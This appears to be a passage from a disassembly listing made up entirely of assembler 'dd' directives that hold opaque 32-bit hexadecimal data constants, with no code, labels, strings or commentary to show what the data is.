		dd 73C9B4FCh, 0DE9B00CFh, 3967B5E2h, 0D500F511h, 8CD98332h
		dd 3D7563A2h, 0C0051762h, 0C02BE9C1h, 39BB1B9Eh, 26D8C80Bh
		dd 21800D6h, 0F203B553h, 0F94800F8h, 0A78BC355h, 0FD00CAC0h
		dd 0BE87124Eh, 6E1B79h,	0D423181h, 436928DFh, 0FE0B6B02h
		dd 0E04A4157h, 1ED6E0FFh, 8F04B610h, 3F40F531h,	0D1B1E44h
		dd 0FBCBFA03h, 82C5C1B5h, 0AD9881BFh, 0A8E8AE19h, 487E94h
		dd 87230D29h, 13761B18h, 0A28FFC2Eh, 0F7C21200h, 0CFD498Bh
		dd 0F9B7ABC4h, 0A9073840h, 9973C842h, 0C39CF600h, 674100DAh
		dd 75047E50h, 91000AEDh, 3F73C6E7h, 0CCAA9Fh, 39ACDC08h
		dd 31E32C3Ch, 0A544E000h, 5F20285Eh, 0C7C83086h, 70D32218h
		dd 7800BE7Eh, 5B741D84h, 1C25D614h, 1E7A2BC3h, 30F146B6h
		dd 9A7D302Fh, 47FEB007h, 8504A817h, 0DA24D280h,	4793CE8h
		dd 2C0A7D00h, 239BE6B8h, 5EEA400h, 30D41043h, 0CFC05CCFh
		dd 385A0C00h, 1B6CBE45h, 0ED20B300h, 52FB188Bh,	0E8165013h
		dd 0F69473C9h, 83530073h, 0EE5056B1h, 0E03DDCEh, 3A160C4Ah
		dd 556AB041h, 7D473FDCh, 23C813h, 0DEED6B4Ah, 0F50191E1h
		dd 0C58A398Bh, 0E850E027h, 7178E6F3h, 87F7Ch, 826024DDh
		dd 6C3F8A5h, 0D427B900h, 0B25893CBh, 0CF7C0049h, 6C5F2E75h
		dd 8230E02Dh, 4DDA019h,	8AD93CC3h, 68F7770Ah, 5E2C80F8h
		dd 0BA87BBB8h, 1D43673Fh, 0C0C093A9h, 798820D7h, 76417A94h
		dd 0C451004Eh, 4096A391h, 0F39D3C9h, 78AC8032h,	0C2E0700Ah
		dd 1CDB011Fh, 0E7E82C3Eh, 5D51EC31h, 5055C904h,	0A4C125ADh
		dd 5230BB38h, 89DF075Bh, 0BA1D9728h, 0B2E800FCh, 712D04A0h
		dd 10A67800h, 0BB2E21CDh, 60B8C037h, 0E8AC2752h, 7047340Bh
		dd 103D00C7h, 0B017EA7h, 8DF382AAh, 0EF00E4FCh,	0BD4ED37h
		dd 0EE4C1EB0h, 29B4407Fh, 4902E4F8h, 0A0A4440Eh, 31E68284h
		dd 0C09AE2F1h, 9FFB1Eh,	82D05408h, 5A5B904Eh, 73BF9A58h
		dd 92CED61Fh, 75F601BEh, 8EADD84Ch, 258C40F6h, 0BB6300EEh
		dd 0D77E0706h, 80E64783h, 17AC9C00h, 63F7EB6Fh,	251800E5h
		dd 0C79522B1h, 0D8C0D328h, 2C3A62D5h, 70C05C58h, 7A0F6900h
		dd 0CC323A0h, 7E909700h, 47C881Bh, 0B4BF0515h, 0C0D9E043h
		dd 0AB344F78h, 0C454A100h, 6B59BA50h, 0FFBD00BFh, 37EA256h
		dd 0E20F986Ah, 3E8039D3h, 0ABE4E9C0h, 1E64954Eh, 3B4ECD7h
		dd 0E0BE17D5h, 0F3C3220Bh, 0F0288A3Bh, 3D7E1880h, 4CE1DBEDh
		dd 7500DA67h, 0FBBCA78Ah, 0A300F199h, 0EA8FAD82h, 90864211h
		dd 0E0790EB0h, 0DA0F055Fh
		dd 0E26037A1h, 0AA1C4B3h, 7E3335FCh, 0F3E6F8B4h, 0EC5DD008h
		dd 137500B6h, 0A1569C4Bh, 40F6F3D7h, 0BEADAB01h, 0E7DF80F7h
		dd 3365E0h, 1ED3905h, 49680322h, 0B12C9E0Eh, 0E5AB01C4h
		dd 87C07C11h, 0CCC109DCh, 80001857h, 7EB92EBCh,	58BD5F00h
		dd 2AEAFFD0h, 380500D1h, 4684FC02h, 87F21F39h, 0F63D4A07h
		dd 0C8F08B59h, 0AB580Fh, 82250EF1h, 0A8C3E69Dh,	76CE0800h
		dd 9AEB83B2h, 25B5A0D4h, 278500E5h, 9623CC4Bh, 0A73C08Fh
		dd 0AA56FE00h, 0D1EAAF0Bh, 1EFF092Bh, 0C0042D12h, 0ED4C023h
		dd 0BB004EEDh, 0D5F2FE0Dh, 0EEE284C9h, 872F3D53h, 5E4F5F0h
		dd 0ACD91278h, 0F5140059h, 19D346C1h, 363E5507h, 0BFB07451h
		dd 76470EF0h, 3A4001DDh, 20E7B71Fh, 2FE6F849h, 3B95DA00h
		dd 0B1DDBA4Fh, 443D1C89h, 2612C2EFh, 1C41C51Bh,	3A37DCC9h
		dd 920EB390h, 0AC38CB09h, 326B0F3h, 0E0EFA6F9h,	6280431Fh
		dd 9739F06Ah, 556E80C9h, 7CF1B526h, 2F030006h, 70361D79h
		dd 66041EA7h, 21F2A4DCh, 9AB99880h, 0FD9F1CACh,	87B800ABh
		dd 1DD35EFh, 0DFFCFCF9h, 0E84BEA30h, 30CA525Bh,	6F38611Eh
		dd 51028DBCh, 6509AC44h, 4C33E017h, 56F8EAh, 8A4220A8h
		dd 0DE5C285h, 59B7BD01h, 9E46D7CEh, 0F8C905C4h,	0D6731E31h
		dd 8D5DC02Dh, 0BCCC5756h, 14D938h, 4A2A1046h, 48FFE5F8h
		dd 8004D0DAh, 80E37CC5h, 0BC734340h, 0A129BE14h, 0E522019Ch
		dd 0D4079A46h, 314464h,	8DDA96C9h, 0B908EB7Ch, 0E700A17Eh
		dd 0C1674B44h, 0F8FA6E64h, 49C81FCBh, 0FBB4C0C0h, 1F1AA7A2h
		dd 0DC2E3C01h, 901CB9C9h, 0F8D41EDDh, 89FE0019h, 0C0B1E5B0h
		dd 960FA168h, 361B07AFh, 20C98700h, 1D420F59h, 80231689h
		dd 0C8B37C0Dh, 6C1ECA3Ch, 94C78AA5h, 1A70D79Bh,	3CD4316Ah
		dd 0EA87BB2Fh, 73DDA63Dh, 17C0476Bh, 0F2005635h, 20CFE7EFh
		dd 72AF8316h, 86021FE1h, 0C359404Ch, 0BA7C6CD8h, 0F9569E01h
		dd 21F53215h, 0AEAFC0h,	0EFD383BBh, 0C72B7BB2h,	2FB4A800h
		dd 0F8E95FE1h, 0E6AA3AF4h, 9DBA8080h, 0B612EA14h, 0BC557800h
		dd 9AA1D583h, 49EB005Ah, 0EA95C579h, 70027DFh, 57AD6B2Eh
		dd 5CB692h, 0F24076F3h,	14178DE8h, 32ECB44Bh, 13A06507h
		dd 0C131A0B8h, 6700A1BFh, 89272009h, 7338E1h, 0AE02C0C8h
		dd 19654D1Eh, 0E55011Dh, 0B5E307C0h, 7DE99B7Fh,	2F8106EFh
		dd 0DAC72710h, 0CBAC48h, 2B5DEB96h, 0B0D46D23h,	0E71009Bh
		dd 5E79137Ah, 0C72E512Fh, 8000DC91h, 0FEEB54B8h, 0CD6528FAh
		dd 0B56A3F98h, 9400CBBEh, 93F112C7h, 0E00EF6Fh,	106BFE9Fh
		dd 0A78990h, 69E7BECh, 0CDC2FDF6h, 3583CC00h, 0A17C5004h
		dd 0B8B20057h, 0DF4ECADCh, 3EEE6EC4h, 5A247000h, 0AEB7FE16h
		dd 0D1A30AA5h, 0EC59E1h, 1EEC094Ah, 2901CBC0h, 0FA85793h
		dd 6CD8B4EDh, 7F01EC0Ch, 0FA951C56h, 0C10E0054h, 0BC3C1BBEh
		dd 0E7296600h, 87E2B8Eh, 0E62500AFh, 0FD45B68Bh, 0E502488Fh
		dd 0B554420h, 0D4C7E072h, 6A1E00EBh, 96C836B7h,	0C917BE9Ah
		dd 3A12A65Eh, 0B2555907h, 9C2AD8F0h, 57D45C9Fh,	0EB86E301h
		dd 0E2BBB46Ah, 0CFE8AC80h, 9A4922C3h, 92181C28h, 4D6A1507h
		dd 122C52A0h, 74EF0750h, 6FDF0B10h, 0B9596C60h,	0C1E41AF2h
		dd 8D46FF0Fh, 41228506h, 66428400h, 363870Eh, 0BA6EC091h
		dd 99805224h, 0B400751Ah, 0E5559831h, 34AD3Ch, 0AC46BFF9h
		dd 1F63AA7Bh, 5B03E07Ch, 0D5C1DEBCh, 0F0C87B5Dh, 0A7740001h
		dd 0F6BAE8F4h, 39603309h, 96CAD55Ch, 804F0065h,	0F0985950h
		dd 687B2213h, 0BD6F100h, 5860CF9Dh, 93D50226h, 1E2348F2h
		dd 91C99560h, 0ECA0B724h, 178C3D00h, 3F49DAC3h,	0E899A173h
		dd 40169848h, 4C4033DBh, 0A9865800h, 9BF4C7B3h,	0B67F14E4h
		dd 2A00A78Fh, 0B9D83A46h, 40EA4FE6h, 7F5BE00h, 0E7FC739Dh
		dd 0B558004Dh, 0EB0B0428h, 6E719B68h, 2D88DC1Eh, 0BC00F4D2h
		dd 0AC7A4E43h, 0BED600A3h, 0F65742A1h, 0FA00E0C2h, 0B49F5A77h
		dd 753C70A0h, 98923CD7h, 7B27D400h, 6345C220h, 6AA70402h
		dd 0E03E8EE9h, 47E043h,	0F93CC6E3h, 99574B88h, 0F1DB776h
		dd 918059A9h, 0C5CA897Dh, 28623885h, 1324ED04h,	47F78006h
		dd 0A3D0544h, 3900048h,	8461655Bh, 0A870A1h, 57474667h
		dd 3A9BB1D7h, 0C87D3Dh,	0DE23B306h, 4E8FE55h, 62B8711Bh
		dd 0B6A7C009h, 700E640h, 0CD12CC3Dh, 0BC6069h, 8325D921h
		dd 925ECFF6h, 5ABDD200h, 13B15BD8h, 90CE1E89h, 70D580FFh
		dd 14803650h, 4800827Fh, 849FA3B1h, 1F30338Ch, 701E9147h
		dd 2A6F4D28h, 0E9902D00h, 4F79B35Ch, 95120E57h,	0CA40FB0Bh
		dd 0C1DA2054h, 2EE82F72h, 0C0699600h, 0E3CEF77Bh, 6BE103FEh
		dd 9B25474Bh, 7FD68388h, 6403FA7Ah, 5D5731F6h, 5F80A5DEh
		dd 2ED538h, 0A81126Fh, 8A234405h, 83B07FCh, 6E3E8077h
		dd 915DB7DAh, 0EF8D00CCh, 1193EA7Eh, 32002AC5h,	4BBFE487h
		dd 0E56105h, 674EAE3Fh,	0EC374283h, 73C16900h, 0F144B5EFh
		dd 1E6D0F5Eh, 3020DE5Ch, 0F92B8AE5h, 0E8034EF6h, 6E25F569h
		dd 3B569132h, 0EE9801D3h, 8220F217h, 0C88087EFh, 80C3D2C9h
		dd 0F510080Fh, 2830D545h, 6670DEh, 0A72CA1FAh, 46C3B8F7h
		dd 9C008BF4h, 15395FD5h, 0C09BEDCBh, 2A885668h,	9936F1ADh
		dd 2220710Ah, 0E041879Ch, 0FCDC3E40h, 864D00EAh, 0AF039DE9h
		dd 0C300EDA5h, 75C62A23h, 3077D0DBh, 164935E8h,	1100F20Fh
		dd 4CF567ECh, 0F8CF6950h, 649D0052h, 1A039BF8h,	0FC0140BEh
		dd 7041FF9Fh, 66E0F97Dh, 62270080h, 0A9A1C869h,	4D00DE4Fh
		dd 0BB54AA26h, 401718h,	5B467A7Bh, 368DF6B2h, 55568903h
		dd 0C0AA0671h, 85D745h,	0A9CDC558h, 0EEDE9E44h,	9F19750Eh
		dd 6BAC033Dh, 40BFAFBAh, 223F94Ch, 0BB1003A6h, 0F29984A5h
		dd 0BF7B4BC0h, 7D8C673Dh, 482DB000h, 6BE8F073h,	0A42E0A3Fh
		dd 80D8F445h, 0C62C1FF5h, 2A07D05Fh, 0DB68749Eh, 21E046h
		dd 672DD50Ah, 17F3035Ah, 71E33E00h, 26868AADh, 2EDF000Ch
		dd 3F722B44h, 84001441h, 0EFCE6F27h, 0AB41DD5h,	3C3DFC98h
		dd 21E80F4h, 5828309Ah,	0A1015F00h, 4C162785h, 0EC061D2Dh
		dd 20E19866h, 0DD0AE2DBh, 2026C402h, 8C8A1070h,	184EA3Fh
		dd 0D9DD99CAh, 808E9FEBh, 2F4C0141h, 58016D12h,	74EEB9A5h
		dd 83F8E13Fh, 43680427h, 816B3171h, 24D97600h, 81000A04h
		dd 1641877Dh, 0C134C1Ah, 6C492540h, 0E90E4421h,	0F8668151h
		dd 0DE779Ah, 0D4EF9980h, 7EE0AE28h, 121568C5h, 4A438C41h
		dd 408E69FDh, 7A476ECCh, 8E10CC52h, 2F7D4800h, 0D209BAA9h
		dd 8756501h, 0D5C400C7h, 5C6D70C4h, 9BA9200Bh, 0CC9981BDh
		dd 0E3EC7177h, 0E27E0267h, 3196B266h, 8A9BA081h, 0D41034E6h
		dd 54EFD275h, 2A1880A4h, 0AA031E0Fh, 0AD0AB239h, 15083031h
		dd 0F22E921h, 9E12B300h, 0BF563B9Ch, 88336342h,	0DBDB869Bh
		dd 0F4E42801h, 0F6213D18h, 163F1824h, 0C99A17h,	5B60FC1Ah
		dd 8C928DF7h, 3E2BB905h, 0A0406276h, 0C5B5D30Fh, 91AF0687h
		dd 8E7E828h, 0AE21DC62h, 8161E0FAh, 2C137F18h, 2DD716h
		dd 5C4DB62Dh, 0DF0C2F73h, 9129589Bh, 698800C8h,	41A5330Dh
		dd 5D06B2A7h, 0CA32E7C9h, 44670120h, 23D3151Dh,	0C0BC5776h
		dd 0FABAB21Ch, 0DF38FE14h, 7DFB10CCh, 287C15C0h, 743B2A9h
		dd 9300DD22h, 13D07C1Eh, 1E5592C5h, 50C8A0Fh, 4337E1EAh
		dd 26BFEBA8h, 21B42CF0h
		dd 8EF65FE2h, 0B6007898h, 2DD7AECBh, 2660FEFCh,	0F66961h
		dd 403B0133h, 49003109h, 1CF4A9B5h, 0F0735DC9h,	262EFCC4h
		dd 4EBC4B12h, 0C12C1187h, 23D5205Eh, 0FE22E4h, 0D62CFF34h
		dd 414B1023h, 0E1295B33h, 0A025ABAEh, 0A087381h, 0F869EFC8h
		dd 7C14C080h, 5A70A92Bh, 68C64486h, 5B7C1D00h, 0FD74A9FFh
		dd 0E0940003h, 0FB604588h, 2E043955h, 3327A69Dh, 4084095h
		dd 0B561CFC4h, 18FF83DBh, 4A888DDh, 0B8F0B41Eh,	0E222C905h
		dd 328046C4h, 0E006C17Ch, 6A37873h, 7DC663E9h, 6F0539D7h
		dd 60F4AEB7h, 49749C00h, 52B2D9ABh, 6BB240B8h, 91E21930h
		dd 0CC0C007Ch, 3F4096F0h, 0D1E30100h, 55EA0712h, 0E5DC3A47h
		dd 0F31A3AFCh, 0E1F1D289h, 6E09BC1Bh, 3119AB72h, 0ED1007BCh
		dd 4F030FC6h, 42D3D454h, 0E772D126h, 0BB007022h, 0E3B91FC7h
		dd 80E14CEEh, 0FAEAB8A1h, 19EA22Ah, 0C54BC378h,	303444CFh
		dd 68426A38h, 0ECEF2Bh,	0A92C7C19h, 3899FF12h, 7CC08F67h
		dd 0DE27EAh, 7462DCA8h,	2C01D005h, 0DB82551Dh, 27F1B649h
		dd 52C7C630h, 70C753Bh,	0CE14CA99h, 16C419FDh, 71138349h
		dd 5A553C20h, 0C8B21B98h, 95C09081h, 249AF280h,	859DE4A0h
		dd 0D84A6817h, 28DF740Dh, 30026402h, 31096D76h,	16094AA9h
		dd 1FE6D0h, 2BD8827Ch, 56B1FB5Bh, 1AA7F800h, 0D653B348h
		dd 6ACB989Ch, 11AC5083h, 0F1C5811Eh, 31C25FD0h,	33010EAh
		dd 947D2Ch, 3ED94846h, 0A64A97FFh, 0D450846Ah, 0E94674h
		dd 0C9CED767h, 240EE852h, 801043E2h, 2775DB4Dh,	997E60A1h
		dd 690C0700h, 0FA25BCD7h, 9A4A30C5h, 0EC35E979h, 58018303h
		dd 912BF1F3h, 484BFB4Bh, 1CC0E088h, 0EF11736h, 38738DC9h
		dd 69BB7580h, 0D212D833h, 0EC27344Ch, 0E001C918h, 26E783DCh
		dd 2A22ACh, 7B4FDAFh, 4D0B5EBDh, 0B72DC907h, 26F02B24h
		dd 12D345F8h, 0AF3977h,	4F4E955Ch, 0ECA8B0BFh, 1AECF41Bh
		dd 0AF187500h, 0D4E4468Ch, 2826038Bh, 0DF3DC11Eh, 0B63888ACh
		dd 0D399960h, 7A793ACCh, 1D77009Eh, 0ACC21A9Dh,	3500889Ah
		dd 0B5563C65h, 2FB769h,	0AAD975F8h, 0AB6D07E4h,	47513700h
		dd 0F95A4DE3h, 97260080h, 72BFCA4Eh, 0EA083BB5h, 32BDC2Dh
		dd 4A840D07h, 1F1039D8h, 179D3558h, 0EE015EF3h,	0C4AADE48h
		dd 0EFBD0C0h, 0FC83A02h, 0BB69C380h, 0CE0018C0h, 52A48782h
		dd 384131h, 9B3BA39Fh, 0E81959B1h, 87357200h, 20B617E3h
		dd 0D8C101A2h, 0E6F41043h, 20293174h, 0F04CFF05h, 7CB7009Ah
		dd 0F3272445h, 0E0F200C2h, 91A71FD2h, 42F2FDAEh, 86B2C40Eh
		dd 0C05060C3h, 783E485h, 8275B4DDh, 0BF917026h,	7D007C7Eh
		dd 0FEBA5457h, 0C3ED4h,	9C1FB3DCh, 11FA33CCh, 210003EEh
		dd 0B0990E04h, 0B9E48E1h, 889F3632h, 0F681718Ch, 80191E3Dh
		dd 0B645C39Dh, 3FCCF502h, 0C804BA1h, 7B84070Eh,	6A003CD8h
		dd 5BF94CA9h, 127D60C9h, 116EEEDh, 1CB865F1h, 0A24080C4h
		dd 0A1C10C6Dh, 183B0EFFh, 0CF603984h, 0C3A96953h, 7E753100h
		dd 0AF5DC514h, 834D3A32h, 9C99081Fh, 15B1A6E7h,	2303808Fh
		dd 1A786505h, 0FE5F70C8h, 0AEED0D01h, 0F540DBDAh, 706A4DDCh
		dd 119C47FBh, 0BE0618F9h, 811DB53Ah, 45D84C00h,	92A68AC9h
		dd 73FB02F9h, 951B6A10h, 0D6E380A0h, 90069C2h, 80C120FFh
		dd 0B8E72771h, 7243819h, 81A18818h, 0F800151Ch,	0D6D88033h
		dd 3201950h, 10FC7822h,	2180E6AAh, 0BB008B84h, 8EE40A5Ch
		dd 6A57F9h, 65BD36BFh, 0ABED0B7Ch, 0C261D608h, 0C0A20193h
		dd 0D8F60820h, 0D8079026h, 22554377h, 8DDD1A20h, 5809F8B7h
		dd 2D01FC1Eh, 63ACFC88h, 64C0809Ah, 0E89E531Ch,	491702C2h
		dd 4C3A8423h, 0EFABE160h, 0D0B358h, 47145CB7h, 0E6ECE91Eh
		dd 0F1510026h, 30FC108Ch, 0A103B032h, 0B4A81F20h, 0DD24F384h
		dd 36CA040h, 404856Eh, 6F1E4AAFh, 168082B0h, 0FB45E080h
		dd 0E90086F3h, 2CB737Ah, 26CD6FEh, 0B0B8DD1Dh, 0A0404C41h
		dd 0A80F1634h, 0A0146D6Fh, 5E43A118h, 0C40E1386h, 2CFFE01Ah
		dd 0DBE0400h, 0C8F610E6h, 219400F8h, 73AAC542h,	0D6073EB9h
		dd 7514D9CCh, 4CE4E610h, 0CB1F00D3h, 79208FEEh,	0CA00C4B0h
		dd 0BAC21CCh, 7522B698h, 57E33B59h, 1AE7AE00h, 60A85BFFh
		dd 8C3BFC00h, 2A4C206Eh, 0CFA3078Fh, 14739Eh, 0F498FDFFh
		dd 63FC8D00h, 0A824411Ch, 39203DC8h, 21D8250Ch,	0FD602F08h
		dd 19CC1820h, 9CAA4805h, 0CF9EF900h, 7EB8A4C9h,	807D510Ch
		dd 1A128F6h, 8261D502h,	0DC94CAA6h, 6000CDE3h, 369F30EAh
		dd 71C04DB6h, 20DD0397h, 1E7AF73Fh, 0EDFA5280h,	94141D00h
		dd 93626D66h, 0A1160089h, 0DECC5BD0h, 0E318A976h, 2068F95Ch
		dd 1FA0060h, 8DD4FF27h,	5D001807h, 0D149A216h, 0A80EC4h
		dd 0FF35612Bh, 0CD1A1063h, 20E4C929h, 56A32AC1h, 9A90020Dh
		dd 1119C630h, 886920CAh, 0CD4A8005h, 17460C19h,	9B92C200h
		dd 0B61852B7h, 222FEE43h, 2100EB80h, 15EEA4C2h,	148CFE1Eh
		dd 0C8CABEFFh, 6030FEE9h, 0BF7A00C4h, 727E85EDh, 0DE0390D9h
		dd 0B30155E1h, 1432B09Ch, 0A11D30E7h, 0B0B6153Ah, 10724A31h
		dd 8BD8A863h, 0D8235CFBh, 78497A78h, 2658001Dh,	0AFCD8791h
		dd 230C1870h, 0C05548F0h, 895400FCh, 0E47B36A7h, 820097E0h
		dd 2D3E6208h, 187347DAh, 0A8B7A222h, 7228033Ch,	0B806FC44h
		dd 8DA17EC3h, 0F0692AC0h, 3C1A0088h, 8FAD7CA2h,	0D90E112Dh
		dd 4F6A9A88h, 617A2086h, 7BB671Fh, 0B843E1DFh, 0E6D4A076h
		dd 0F5003470h, 2F2B12FEh, 217C03h, 0E3C2FBCEh, 0CF65F793h
		dd 808268C8h, 0C60333C4h, 0F00006DFh, 9C6C855Ah, 38D1B5CDh
		dd 0A6BACC81h, 8FB26180h, 6A389233h, 8031E93Dh,	73828145h
		dd 3434D01h, 57092F7Ch,	9AE128D5h, 0DD19806Eh, 45546BCCh
		dd 0BA590FD0h, 32A2337Eh, 9CA15D60h, 5755B93Bh,	2C44E0F0h
		dd 85002824h, 225BBE8h,	1F618701h, 0AAEE55D1h, 783215F4h
		dd 523EE0EBh, 80415830h, 2B7C6444h, 7805F800h, 0E65D2790h
		dd 2F76394Fh, 0CA122A00h, 93D7FD0Eh, 0C019D190h, 631172A5h
		dd 0EAE0044Bh, 10C06551h, 8542913Fh, 0D1C000EFh, 4895CE87h
		dd 7D01A230h, 0E836EA05h, 12E4FE4Ch, 0ED29C44Bh, 713F4E88h
		dd 11E70A11h, 0C9286A41h, 89B12228h, 22E60E22h,	656045AFh
		dd 0BAAEE529h, 68A902E0h, 2C3F27DDh, 0E7EF2740h, 0EBD25F00h
		dd 4B5A84B0h, 23250095h, 615DC3D8h, 8B008093h, 0D72D3CA8h
		dd 0EB69D9h, 0E652707Fh, 1C3EDAD6h, 13A55100h, 91AF2830h
		dd 2D6201D8h, 76A1221Dh, 0D06FED4Fh, 0AB007CE3h, 0FFDD0D7Bh
		dd 1EBFD8C8h, 9E7754EFh, 0E0E9C1B5h, 0D44857B4h, 0FC00AA67h
		dd 4760038Dh, 0C9ECDCh,	201AF63Eh, 5F996680h, 13827D3Ah
		dd 0B300CC7Bh, 11252BDBh, 13BCA089h, 532C002Eh,	0F888565h
		dd 64601DFBh, 10C99678h, 86F80034h, 5D6A980h, 4100CC5Ah
		dd 0A39C75B8h, 49A8C0h,	71AC5E06h, 4EEA8AD2h, 9AE66C03h
		dd 0F07D65E4h, 0BBEBCE5h, 2BDDADBFh, 4E92C585h,	1FA077F8h
		dd 3A6A0359h, 0A2B92E00h, 0A045451h, 39AB00E5h,	0E7A9AD15h
		dd 19036264h, 0FECB7199h, 4692B04Ch, 0F1F800D6h, 60C1C36Dh
		dd 0A6E2010Eh, 9F99F703h, 0BF75CB84h, 8B723F00h, 0DFBE0080h
		dd 87E2A326h, 5C03B10Eh, 48DDBFD1h, 1190A00Dh, 0B7323BF5h
		dd 6B9F280h, 5B707A67h,	2F492100h, 6B6F54EBh, 0E913B2Eh
		dd 11439207h, 3BEEC008h
		dd 81015F79h, 83EA2052h, 34ECDC8Fh, 3B6000Eh, 0ED421B82h
		dd 0BE001859h, 8C084C1Ch, 4D668A6h, 5C2E7B0Eh, 5188801Bh
		dd 1400A24Ah, 564E2F34h, 0DD63Ah, 0BEB36589h, 935D9FDAh
		dd 8EC3EA00h, 501D4BD7h, 459500DFh, 8AEFA466h, 103D4D81h
		dd 0A56C0030h, 0CF11C2E4h, 0D28203B3h, 0CA877CD7h, 0A1E509D8h
		dd 0FE791500h, 6EE1FFEFh, 0DDE30088h, 34417C5h,	5200DCA4h
		dd 71144916h, 1458F565h, 90042A20h, 5CD5DE00h, 0DC513A78h
		dd 0E9D8B160h, 43C85EBh, 9AF122E6h, 0B420D216h,	0DA360C48h
		dd 29886916h, 0DD842C07h, 4DCB0C20h, 52D0A098h,	8C830025h
		dd 2DBC9D97h, 81727B2Fh, 2F5A33Dh, 3D91F21Bh, 0CAC687D2h
		dd 24182590h, 54E8E6h, 5A208508h, 108DB6AEh, 602B7F24h
		dd 4B680300h, 3DFD2B4h,	85D763BFh, 47B8175Ah, 48000D14h
		dd 6C753D07h, 1CA3F4h, 0AD9BBD4Fh, 89E6841Ah, 43E47F07h
		dd 0CFA072C5h, 15655B7h, 0DA61EF5Ah, 0DC0258A7h, 0A6383B0Fh
		dd 34C6807Eh, 7FF45BC4h, 0D0D805B5h, 70B86B3h, 0B016DC84h
		dd 8ABEA147h, 7EB7EE01h, 3E742E0Fh, 0C0EE8861h,	7209950h
		dd 0F38BF48Dh, 8072C50Bh, 0F76F60E5h, 0B0A78C00h, 0D8563D51h
		dd 3BC20090h, 24443EDDh, 19141206h, 9CE0DA7Bh, 0BC709ECAh
		dd 0DF2C0D80h, 492076h,	0E4C16BF0h, 19A1C04Ch, 3873E800h
		dd 7857B2D9h, 1470F4E2h, 0F417CD49h, 0BB0AB2Ch,	6FF03C64h
		dd 0F5CE8A0h, 101F7B7Ah, 9FC01906h, 6EE9349Bh, 67820059h
		dd 400263DEh, 5B00FC8Eh, 0A1C2FB2h, 0B86479h, 91BD7C68h
		dd 0B15E0CF5h, 3F3A141Dh, 0A050E080h, 755D13h, 105F4E28h
		dd 15CBC371h, 941E8500h, 0A96C8B95h, 1DB23C07h,	0B7BFBC80h
		dd 0ACEF663Fh, 9D00EB79h, 80A7B69Fh, 0E4BB0C32h, 22BF00DDh
		dd 885304E5h, 0A9005C66h, 938BD16Fh, 1D2F9FC3h,	40448991h
		dd 597CE2A0h, 90005DB3h, 7B9A63B6h, 0E26C490Ch,	96510039h
		dd 86B879F7h, 0F0068D3h, 0E0B33C56h, 62A258h, 0BF4B3274h
		dd 5A9BA624h, 99CC5501h, 784F86BCh, 68B2FCh, 49620ABEh
		dd 95768CAEh, 2674224Ch, 0C61DDAAAh, 0EA1C5253h, 0E89BF81h
		dd 0EBC0B6BCh, 64220072h, 603CD0A2h, 0EC01E8D2h, 5779514Ch
		dd 76E0F05Fh, 9E8300D1h, 1F126BB1h, 8C01D56Ch, 50FECF21h
		dd 0EF0B526h, 742000D3h, 99A43809h, 0AB0637DBh,	0ADA7C2FEh
		dd 7FB40120h, 61E0D04Ah, 0B7ECD08Fh, 0D0C858h, 0E9378047h
		dd 2C86BF16h, 407883h, 6199C3ACh, 4D004526h, 3EFA7F02h
		dd 27B76Ah, 0D046B58Dh,	95756828h, 70D8833Fh, 0FD3FA6EEh
		dd 535200CEh, 2CB149F4h, 0ED8E260Bh, 0F1DA0EC2h, 0ECA59960h
		dd 0C00012Dh, 3F07E04Dh, 0CDAAB9h, 98393B74h, 788FB8ABh
		dd 41B0BE00h, 0D47E11BAh, 0EC8E26Eh, 0D618773Ch, 11DC18F3h
		dd 9B7B6F61h, 768BAF00h, 5BD475Fh, 0DBA73F58h, 0D3CF9C94h
		dd 806C592Ch, 0B3360643h, 5F032BEBh, 0E43FAEE7h, 90829817h
		dd 0E8214841h, 959E9400h, 0C2E25950h, 5B2A960Fh, 17F1A007h
		dd 1A1024Fh, 7B4A8120h,	70521565h, 0D1B84D3Ch, 18FB6F00h
		dd 49C7306Ah, 91B7919h,	0CFD64260h, 404CE800h, 10B91715h
		dd 18E74700h, 0F871458Bh, 7A51014Bh, 0FCD8BB75h, 10A46068h
		dd 502D2E00h, 3FF7FE6Ah, 203D2E6Eh, 834F0096h, 0DA728474h
		dd 6499700Fh, 338B1EA4h, 6380360h, 0E99699BAh, 0D1F5E8h
		dd 8EEFEB7Eh, 98C5BD3Eh, 0E2C060FDh, 0E62F8500h, 30EBE74Eh
		dd 7A78B826h, 71D5003Ch, 0BB813291h, 0E498339Ah, 0FA3E0609h
		dd 39C080CAh, 143A4Dh, 51E87990h, 0EA4F2CBCh, 3698DC00h
		dd 0A346C4E5h, 12A10050h, 9377BEADh, 480788C8h,	13B2451Fh
		dd 5E54ABE0h, 14B50E7Eh, 926036C5h, 8AD0E82Ah, 2BF5D103h
		dd 0F07B4FF2h, 0B0A742F8h, 5908035Dh, 0EAE38DC8h, 7D63B0C7h
		dd 0B2EEA2CEh, 1B7B3C05h, 0ECC0821Ch, 399D43h, 0B02A8C41h
		dd 42F16401h, 1C836C00h, 0E47EEFB5h, 0A89AF8D3h, 0FBA963FCh
		dd 0A0405EC9h, 22BA44h,	8965C43Ah, 0EA0CAEDCh, 0B1139900h
		dd 0D308C6EBh, 27E50031h, 50A7C7F3h, 702482B9h,	12069094h
		dd 48074Fh, 38064E45h, 4B188B91h, 0D822C600h, 0E299F994h
		dd 78BA2E3Eh, 0E595005Ah, 0B6C96D9Bh, 21A87400h, 96D35872h
		dd 146000CDh, 0C138E6C4h, 0FE58F188h, 0CE127DFCh, 102034F3h
		dd 8BE252h, 18F0A75Bh, 64033527h, 9BFC9218h, 7AD7E7Ch
		dd 0C0C98DFAh, 771C906Ah, 1D279A12h, 0C65C0Ch, 8155EF33h
		dd 2094520Fh, 40301B12h, 3791C8h, 0CD57A4EDh, 3575D9C7h
		dd 7200F8BAh, 83B21082h, 680A43Fh, 9D7F8FC1h, 0FD58E851h
		dd 4C880039h, 2C8B6B2Ah, 0BECC07DCh, 81690498h,	0DC3401F7h
		dd 7998C4CAh, 0C2005CB0h, 30D38A82h, 7B6E7EEh, 4C0AA7AAh
		dd 8B956715h, 0F894F001h, 0C44761A5h, 57002036h, 0C5AF02E6h
		dd 0F47ABE9h, 0E26BAE38h, 0CF5B7D81h, 0D40DC861h, 6A86A912h
		dd 0A5B99802h, 1DCC045Ch, 148E5B00h, 0A8E75Eh, 8FFEE9CFh
		dd 921C7CD9h, 0F6184Ch,	0A5A03A2Ch, 0AB88251h, 0C446B633h
		dd 2E9A0488h, 77860568h, 72C8C8C9h, 0AAC50F98h,	1820CEB0h
		dd 9D45C029h, 0D53A8DF2h, 0AC629F75h, 0BEA5E843h, 0F0B40097h
